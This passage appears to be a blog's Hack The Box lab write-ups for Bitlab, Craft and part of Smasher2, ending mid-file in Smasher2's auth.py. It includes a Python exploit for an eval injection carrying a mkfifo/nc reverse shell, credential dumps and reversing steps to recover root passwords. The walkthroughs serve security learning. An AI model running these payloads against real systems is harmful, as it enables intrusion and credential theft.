Database Access –> Clave’s Password –> SSH as Clave –> User Flag

After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasn’t installed:

1
2
3
www-data@bitlab:/var/www/html/profile$ psql
bash: psql: command not found
www-data@bitlab:/var/www/html/profile$

So I had to do it with php:

1
2
3
4
www-data@bitlab:/var/www/html/profile$ php -a
Interactive mode enabled

php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');

I executed the same query from the code snippet which queried everything from the table profiles, and I got clave’s password which I could use to get ssh access:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
php > $result = $connection->query("SELECT * FROM profiles");
php > $profiles = $result->fetchAll();
php > print_r($profiles);
Array
(
[0] => Array
(
[id] => 1
[0] => 1
[username] => clave
[1] => clave
[password] => c3NoLXN0cjBuZy1wQHNz==
[2] => c3NoLXN0cjBuZy1wQHNz==
)

)
php >


We owned user.

Reversing RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag

In the home directory of clave there was a Windows executable called RemoteConnection.exe:

1
2
3
4
5
6
7
8
9
10
11
12
clave@bitlab:~$ ls -la
total 44
drwxr-xr-x 4 clave clave 4096 Aug 8 14:40 .
drwxr-xr-x 3 root root 4096 Feb 28 2019 ..
lrwxrwxrwx 1 root root 9 Feb 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave 3771 Feb 28 2019 .bashrc
drwx------ 2 clave clave 4096 Aug 8 14:40 .cache
drwx------ 3 clave clave 4096 Aug 8 14:40 .gnupg
-rw-r--r-- 1 clave clave 807 Feb 28 2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave 33 Feb 28 2019 user.txt
clave@bitlab:~$

I downloaded it on my box:

1
2
3
4
root@kali:~/Desktop/HTB/boxes/bitlab# scp [email protected]:/home/clave/RemoteConnection.exe ./
[email protected]'s password:
RemoteConnection.exe 100% 14KB 16.5KB/s 00:00
root@kali:~/Desktop/HTB/boxes/bitlab#

Then I started looking at the code decompilation with Ghidra. One function that caught my attention was FUN_00401520():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

/* WARNING: Could not reconcile some variable overlaps */

void FUN_00401520(void)

{
LPCWSTR pWVar1;
undefined4 ***pppuVar2;
LPCWSTR lpParameters;
undefined4 ***pppuVar3;
int **in_FS_OFFSET;
uint in_stack_ffffff44;
undefined4 *puVar4;
uint uStack132;
undefined *local_74;
undefined *local_70;
wchar_t *local_6c;
void *local_68 [4];
undefined4 local_58;
uint local_54;
void *local_4c [4];
undefined4 local_3c;
uint local_38;
undefined4 ***local_30 [4];
int local_20;
uint local_1c;
uint local_14;
int *local_10;
undefined *puStack12;
undefined4 local_8;

local_8 = 0xffffffff;
puStack12 = &LAB_004028e0;
local_10 = *in_FS_OFFSET;
uStack132 = DAT_00404018 ^ (uint)&stack0xfffffffc;
*(int ***)in_FS_OFFSET = &local_10;
local_6c = (wchar_t *)0x4;
local_14 = uStack132;
GetUserNameW((LPWSTR)0x4,(LPDWORD)&local_6c);
local_38 = 0xf;
local_3c = 0;
local_4c[0] = (void *)((uint)local_4c[0] & 0xffffff00);
FUN_004018f0();
local_8 = 0;
FUN_00401260(local_68,local_4c);
local_74 = &stack0xffffff60;
local_8._0_1_ = 1;
FUN_004018f0();
local_70 = &stack0xffffff44;
local_8._0_1_ = 2;
puVar4 = (undefined4 *)(in_stack_ffffff44 & 0xffffff00);
FUN_00401710(local_68);
local_8._0_1_ = 1;
FUN_00401040(puVar4);
local_8 = CONCAT31(local_8._1_3_,3);
lpParameters = (LPCWSTR)FUN_00401e6d();
pppuVar3 = local_30[0];
if (local_1c < 0x10) {
pppuVar3 = local_30;
}
pWVar1 = lpParameters;
pppuVar2 = local_30[0];
if (local_1c < 0x10) {
pppuVar2 = local_30;
}
while (pppuVar2 != (undefined4 ***)(local_20 + (int)pppuVar3)) {
*pWVar1 = (short)*(char *)pppuVar2;
pWVar1 = pWVar1 + 1;
pppuVar2 = (undefined4 ***)((int)pppuVar2 + 1);
}
lpParameters[local_20] = L'\0';
if (local_6c == L"clave") {
ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
,10);
}
else {
FUN_00401c20((int *)cout_exref);
}
if (0xf < local_1c) {
operator_delete(local_30[0]);
}
local_1c = 0xf;
local_20 = 0;
local_30[0] = (undefined4 ***)((uint)local_30[0] & 0xffffff00);
if (0xf < local_54) {
operator_delete(local_68[0]);
}
local_54 = 0xf;
local_58 = 0;
local_68[0] = (void *)((uint)local_68[0] & 0xffffff00);
if (0xf < local_38) {
operator_delete(local_4c[0]);
}
*in_FS_OFFSET = local_10;
FUN_00401e78();
return;
}

It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldn’t see:

1
2
3
4
if (local_6c == L"clave") {
ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
,10);
}

This is how the same part looked like in IDA:

I copied the executable to a Windows machine and I tried to run it, however it just kept crashing.
I opened it in immunity debugger to find out what was happening, and I found an access violation:

It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOPs.
I had to set a breakpoint before the cmp instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:


Then I executed the program and whenever I hit an access violation I replaced the instructions with NOPs, it happened twice then I reached my breakpoint:

After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx, It was starting an ssh session as root and I could see the password:

1
2
EAX 00993E80 UNICODE "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""
EBX 00993DA0 ASCII "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Craft
Next Hack The Box write-up : Hack The Box - Player

Hack The Box - Craft

4 January 2020 at 03:00

Hack The Box - Craft

Quick Summary

Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110, I added it to /etc/hosts as craft.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds
root@kali:~/Desktop/HTB/boxes/craft#

We got https on port 443 and ssh on port 22.

Web Enumeration

The home page was kinda empty, Only the about info and nothing else:

The navigation bar had two external links, one of them was to https://api.craft.htb/api/ and the other one was to https://gogs.craft.htb:

1
2
3
4
<ul class="nav navbar-nav pull-right">
<li><a href="https://api.craft.htb/api/">API</a></li>
<li><a href="https://gogs.craft.htb/"><img border="0" alt="Git" src="/static/img/Git-Icon-Black.png" width="20" height="20"></a></li>
</ul>

So I added both of api.craft.htb and gogs.craft.htb to /etc/hosts then I started checking them.
https://api.craft.htb/api:

Here we can see the API endpoints and how to interact with them.
We’re interested in the authentication part for now, there are two endpoints, /auth/check which checks the validity of an authorization token and /auth/login which creates an authorization token provided valid credentials.


We don’t have credentials to authenticate so let’s keep enumerating.
Obviously gogs.craft.htb had gogs running:

The repository of the API source code was publicly accessible so I took a look at the code and the commits.


Dinesh’s commits c414b16057 and 10e3ba4f0a had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py where user’s input is being passed to eval() without filtering:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@@ -38,9 +38,13 @@ class BrewCollection(Resource):
"""
Creates a new brew entry.
"""
-
- create_brew(request.json)
- return None, 201
+
+ # make sure the ABV value is sane.
+ if eval('%s > 1' % request.json['abv']):
+ return "ABV must be a decimal value less than 1.0", 400
+ else:
+ create_brew(request.json)
+ return None, 201
@ns.route('/<int:id>')
@api.response(404, 'Brew not found.')

I took a look at the API documentation again to find in which request I can send the abv parameter:

As you can see we can send a POST request to /brew and inject our payload in the parameter abv, However we still need an authorization token to be able to interact with /brew, and we don’t have any credentials.
The other commit was a test script which had hardcoded credentials, exactly what we need:

1
2
3
4
5
6
7
8
9
10
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+json_response = json.loads(response.text)
+token = json_response['token']
+
+headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
+
+# make sure token is valid
+response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
+print(response.text)
+

I tested the credentials and they were valid:

RCE –> Shell on Docker Container

I wrote a small script to authenticate, grab the token, exploit the vulnerability and spawn a shell.
exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3 
import requests
import json
from subprocess import Popen
from sys import argv
from os import system

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

GREEN = "\033[32m"
YELLOW = "\033[93m"

def get_token():
req = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
response = req.json()
token = response['token']
return token

def exploit(token, ip, port):
tmp = {}

tmp['id'] = 0
tmp['name'] = "pwned"
tmp['brewer'] = "pwned"
tmp['style'] = "pwned"
tmp['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f')".format(ip,port)

payload = json.dumps(tmp)

print(YELLOW + "[+] Starting listener on port {}".format(port))
Popen(["nc","-lvnp",port])

print(YELLOW + "[+] Sending payload")
requests.post('https://api.craft.htb/api/brew/', headers={'X-Craft-API-Token': token, 'Content-Type': 'application/json'}, data=payload, verify=False)

if len(argv) != 3:
print(YELLOW + "[!] Usage: {} [IP] [PORT]".format(argv[0]))
exit()

ip = argv[1]
port = argv[2]
print(YELLOW + "[+] Authenticating")
token = get_token()
print(GREEN + "[*] Token: {}".format(token))
exploit(token, ip, port)


Turns out that the application was hosted on a docker container and I didn’t get a shell on the actual host.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/opt/app # cd /
/ # ls -la
total 64
drwxr-xr-x 1 root root 4096 Feb 10 2019 .
drwxr-xr-x 1 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 3 17:20 bin
drwxr-xr-x 5 root root 340 Jan 3 14:58 dev
drwxr-xr-x 1 root root 4096 Feb 10 2019 etc
drwxr-xr-x 2 root root 4096 Jan 30 2019 home
drwxr-xr-x 1 root root 4096 Feb 6 2019 lib
drwxr-xr-x 5 root root 4096 Jan 30 2019 media
drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt
drwxr-xr-x 1 root root 4096 Feb 9 2019 opt
dr-xr-xr-x 238 root root 0 Jan 3 14:58 proc
drwx------ 1 root root 4096 Jan 3 15:16 root
drwxr-xr-x 2 root root 4096 Jan 30 2019 run
drwxr-xr-x 2 root root 4096 Jan 30 2019 sbin
drwxr-xr-x 2 root root 4096 Jan 30 2019 srv
dr-xr-xr-x 13 root root 0 Jan 3 14:58 sys
drwxrwxrwt 1 root root 4096 Jan 3 17:26 tmp
drwxr-xr-x 1 root root 4096 Feb 9 2019 usr
drwxr-xr-x 1 root root 4096 Jan 30 2019 var
/ #

Gilfoyle’s Gogs Credentials –> SSH Key –> SSH as Gilfoyle –> User Flag

In /opt/app there was a python script called dbtest.py, It connects to the database and executes a SQL query:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/opt/app # ls -la
total 44
drwxr-xr-x 5 root root 4096 Jan 3 17:28 .
drwxr-xr-x 1 root root 4096 Feb 9 2019 ..
drwxr-xr-x 8 root root 4096 Feb 8 2019 .git
-rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore
-rw-r--r-- 1 root root 1585 Feb 7 2019 app.py
drwxr-xr-x 5 root root 4096 Feb 7 2019 craft_api
-rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py
drwxr-xr-x 2 root root 4096 Feb 7 2019 tests
/opt/app # cat dbtest.py
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)

finally:
connection.close()
/opt/app #

I copied the script and changed result = cursor.fetchone() to result = cursor.fetchall() and I changed the query to SHOW TABLES:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SHOW TABLES"
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

There were two tables, user and brew:

1
2
3
4
5
6
7
8
/opt/app # wget http://10.10.xx.xx/db1.py
Connecting to 10.10.xx.xx (10.10.xx.xx:80)
db1.py 100% |********************************| 629 0:00:00 ETA

/opt/app # python db1.py
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]
/opt/app # rm db1.py
/opt/app #

I changed the query to SELECT * FROM user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT * FROM user"
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

The table had all users credentials stored in plain text:

1
2
3
4
5
6
7
8
/opt/app # wget http://10.10.xx.xx/db2.py
Connecting to 10.10.xx.xx (10.10.xx.xx:80)
db2.py 100% |********************************| 636 0:00:00 ETA

/opt/app # python db2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
/opt/app # rm db2.py
/opt/app #

Gilfoyle had a private repository called craft-infra:


He left his private ssh key in the repository:


When I tried to use the key it asked for password as it was encrypted, I tried his gogs password (ZEU3N8WNM2rh4T) and it worked:

We owned user.

Vault –> One-Time SSH Password –> SSH as root –> Root Flag

In Gilfoyle’s home directory there was a file called .vault-token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gilfoyle@craft:~$ ls -la
total 44
drwx------ 5 gilfoyle gilfoyle 4096 Jan 3 13:42 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
drwx------ 2 gilfoyle gilfoyle 4096 Jan 3 13:31 .gnupg
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 5091 Jan 3 13:28 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle@craft:~$

A quick search revealed that it’s related to vault.

Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io

By looking at vault.sh from craft-infra repository (vault/vault.sh), we’ll see that it enables the ssh secrets engine then creates an otp role for root:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0

We have the token (.vault-token) so we can easily authenticate to the vault and create an otp for a root ssh session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gilfoyle@craft:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1
Key Value
--- -----
lease_id ssh/creds/root_otp/f17d03b6-552a-a90a-02b8-0932aaa20198
lease_duration 768h
lease_renewable false
ip 127.0.0.1
key c495f06b-daac-8a95-b7aa-c55618b037ee
key_type otp
port 22
username root
gilfoyle@craft:~$

And finally we’ll ssh into localhost and use the generated password (c495f06b-daac-8a95-b7aa-c55618b037ee):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gilfoyle@craft:~$ ssh [email protected]


. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/



Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~#


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Smasher2
Next Hack The Box write-up : Hack The Box - Bitlab

Hack The Box - Smasher2

14 December 2019 at 03:00

Hack The Box - Smasher2

Quick Summary

Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE combined with a WAF bypass, then a kernel module with an insecure mmap handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135, I added it to /etc/hosts as smasher2.htb. Let’s jump right in!

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST
Nmap scan report for smasher2.htb (10.10.10.135)
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds
root@kali:~/Desktop/HTB/boxes/smasher2#

We got ssh on port 22, dns on port 53 and http on port 80.

DNS

First thing I did was to enumerate vhosts through the dns server and I got 1 result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr smasher2.htb @10.10.10.135
;; global options: +cmd
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb. 604800 IN NS smasher2.htb.
smasher2.htb. 604800 IN A 127.0.0.1
smasher2.htb. 604800 IN AAAA ::1
smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb.
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
;; Query time: 299 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Fri Dec 13 07:36:43 EST 2019
;; XFR size: 6 records (messages 1, bytes 242)

root@kali:~/Desktop/HTB/boxes/smasher2#

wonderfulsessionmanager.smasher2.htb, I added it to my hosts file.

Web Enumeration

http://smasher2.htb had the default Apache index page:

http://wonderfulsessionmanager.smasher2.htb:

The only interesting here was the login page:

I kept testing it for a while and the responses were like this one:


It didn’t request any new pages so I suspected that it’s doing an AJAX request, I intercepted the login request to find out the endpoint it was requesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /auth HTTP/1.1
Host: wonderfulsessionmanager.smasher2.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://wonderfulsessionmanager.smasher2.htb/login
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 80
Connection: close
Cookie: session=eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg

{"action":"auth","data":{"username":"test","password":"test"}}

While browsing http://wonderfulsessionmanager.smasher2.htb I had gobuster running in the background on http://smasher2.htb/:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@kali:~/Desktop/HTB/boxes/smasher2# gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://smasher2.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/13 07:37:54 Starting gobuster
===============================================================
/.git/HEAD (Status: 403)
/.hta (Status: 403)
/.bash_history (Status: 403)
/.config (Status: 403)
/.bashrc (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.profile (Status: 403)
/.mysql_history (Status: 403)
/.sh_history (Status: 403)
/.svn/entries (Status: 403)
/_vti_bin/_vti_adm/admin.dll (Status: 403)
/_vti_bin/shtml.dll (Status: 403)
/_vti_bin/_vti_aut/author.dll (Status: 403)
/akeeba.backend.log (Status: 403)
/awstats.conf (Status: 403)
/backup (Status: 301)
/development.log (Status: 403)
/global.asa (Status: 403)
/global.asax (Status: 403)
/index.html (Status: 200)
/main.mdb (Status: 403)
/php.ini (Status: 403)
/production.log (Status: 403)
/readfile (Status: 403)
/server-status (Status: 403)
/spamlog.log (Status: 403)
/Thumbs.db (Status: 403)
/thumbs.db (Status: 403)
/web.config (Status: 403)
/WS_FTP.LOG (Status: 403)
===============================================================
2019/12/13 07:39:17 Finished
===============================================================
root@kali:~/Desktop/HTB/boxes/smasher2#

The only result that wasn’t 403 was /backup so I checked that and found 2 files:

Note: Months ago when I solved this box for the first time /backup was protected by basic http authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it.
I downloaded the files to my box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~/Desktop/HTB/boxes/smasher2# mkdir backup
root@kali:~/Desktop/HTB/boxes/smasher2# cd backup/
root@kali:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/auth.py
--2019-12-13 07:40:19-- http://smasher2.htb/backup/auth.py
Resolving smasher2.htb (smasher2.htb)... 10.10.10.135
Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4430 (4.3K) [text/x-python]
Saving to: ‘auth.py’

auth.py 100%[=======================================================================================================================================>] 4.33K --.-KB/s in 0.07s

2019-12-13 07:40:20 (64.2 KB/s) - ‘auth.py’ saved [4430/4430]

root@kali:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/ses.so
--2019-12-13 07:40:43-- http://smasher2.htb/backup/ses.so
Resolving smasher2.htb (smasher2.htb)... 10.10.10.135
Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18608 (18K)
Saving to: ‘ses.so’

ses.so 100%[=======================================================================================================================================>] 18.17K 85.2KB/s in 0.2s

2019-12-13 07:40:44 (85.2 KB/s) - ‘ses.so’ saved [18608/18608]

root@kali:~/Desktop/HTB/boxes/smasher2/backup#

By looking at auth.py I knew that these files were related to wonderfulsessionmanager.smasher2.htb.

auth.py: Analysis

auth.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python
import ses
from flask import session,redirect, url_for, request,render_template, jsonify,Flask, send_from_directory
from threading import Lock
import hashlib
import hmac
import os
import base64
import subprocess
import time

def get_secure_key():
m = hashlib.sha1()
m.update(os.urandom(32))
return m.hexdigest()

def craft_secure_token(content):
h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256)
return h.hexdigest()


lock = Lock()
app = Flask(__name__)
app.config['SECRET_KEY'] = get_secure_key()
Managers = {}

def log_creds(ip, c):
with open("creds.log", "a") as creds:
creds.write("Login from {} with data {}:{}\n".format(ip, c["username"], c["password"]))
creds.close()

def safe_get_manager(id):
lock.acquire()
manager = Managers[id]
lock.release()
return manager

def safe_init_manager(id):
lock.acquire()
if id in Managers:
del Managers[id]
else:
login = ["<REDACTED>", "<REDACTED>"]
Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))})
lock.release()

def safe_have_manager(id):
ret = False
lock.acquire()
ret = id in Managers
lock.release()
